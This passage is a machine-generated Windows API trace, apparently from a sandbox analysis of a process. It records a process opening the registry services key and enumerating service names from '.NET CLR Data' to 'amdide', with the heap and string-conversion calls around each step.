Size=0x40) returned 0x21f1850 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.877] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.878] RegOpenKeyExW (in: hKey=0x150, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x148) returned 0x0 [0212.878] RegCloseKey (hKey=0x150) returned 0x0 [0212.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1da8, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.878] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1850, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.878] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.878] RegEnumKeyW (in: hKey=0x148, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0212.878] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1da8, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1850, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1da8, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.879] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.879] RegEnumKeyW (in: hKey=0x148, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName=".NETFramework") returned 0x0 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.879] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".netframework", cchWideChar=13, lpMultiByteStr=0x21f1850, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".netframework", lpUsedDefaultChar=0x0) returned 13 [0212.879] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="1394ohci") returned 0x0 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="1394ohci", cchWideChar=8, lpMultiByteStr=0x21f1da8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1394ohci", lpUsedDefaultChar=0x0) returned 8 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="ACPI") returned 0x0 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpi", lpUsedDefaultChar=0x0) returned 4 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0x9, lpName=0x2152850, cchName=0x104 | out: lpName="AcpiPmi") returned 0x0 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.880] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="acpipmi", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="acpipmi", lpUsedDefaultChar=0x0) returned 7 [0212.880] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.880] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.880] RegEnumKeyW (in: hKey=0x148, dwIndex=0xa, lpName=0x2152850, cchName=0x104 | out: lpName="AdobeFlashPlayerUpdateSvc") returned 0x0 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 25 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adobeflashplayerupdatesvc", cchWideChar=25, lpMultiByteStr=0x21f1850, cbMultiByte=25, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adobeflashplayerupdatesvc", lpUsedDefaultChar=0x0) returned 25 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0xb, lpName=0x2152850, cchName=0x104 | out: lpName="adp94xx") returned 0x0 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adp94xx", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adp94xx", lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0xc, lpName=0x2152850, cchName=0x104 | out: lpName="adpahci") returned 0x0 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpahci", cchWideChar=7, lpMultiByteStr=0x21f1850, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpahci", lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.881] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.881] RegEnumKeyW (in: hKey=0x148, dwIndex=0xd, lpName=0x2152850, cchName=0x104 | out: lpName="adpu320") returned 0x0 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.881] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adpu320", cchWideChar=7, lpMultiByteStr=0x21f1da8, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adpu320", lpUsedDefaultChar=0x0) returned 7 [0212.881] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0xe, lpName=0x2152850, cchName=0x104 | out: lpName="adsi") returned 0x0 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="adsi", cchWideChar=4, lpMultiByteStr=0x21f1850, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="adsi", lpUsedDefaultChar=0x0) returned 4 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0xf, lpName=0x2152850, cchName=0x104 | out: lpName="AeLookupSvc") returned 0x0 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aelookupsvc", cchWideChar=11, lpMultiByteStr=0x21f1da8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aelookupsvc", lpUsedDefaultChar=0x0) returned 11 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x10, lpName=0x2152850, cchName=0x104 | out: lpName="AFD") returned 0x0 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="afd", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="afd", lpUsedDefaultChar=0x0) returned 3 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.882] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.882] RegEnumKeyW (in: hKey=0x148, dwIndex=0x11, lpName=0x2152850, cchName=0x104 | out: lpName="agp440") returned 0x0 [0212.882] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.882] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="agp440", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="agp440", lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x12, lpName=0x2152850, cchName=0x104 | out: lpName="ALG") returned 0x0 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="alg", cchWideChar=3, lpMultiByteStr=0x21f1850, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="alg", lpUsedDefaultChar=0x0) returned 3 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x13, lpName=0x2152850, cchName=0x104 | out: lpName="aliide") returned 0x0 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1da8 [0212.883] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aliide", cchWideChar=6, lpMultiByteStr=0x21f1da8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aliide", lpUsedDefaultChar=0x0) returned 6 [0212.883] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1850 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1da8) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1850) returned 1 [0212.883] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0212.883] RegEnumKeyW (in: hKey=0x148, dwIndex=0x14, lpName=0x2152850, cchName=0x104 | out: lpName="amdide") returned 0x0 [0212.883] RtlAllocateHeap 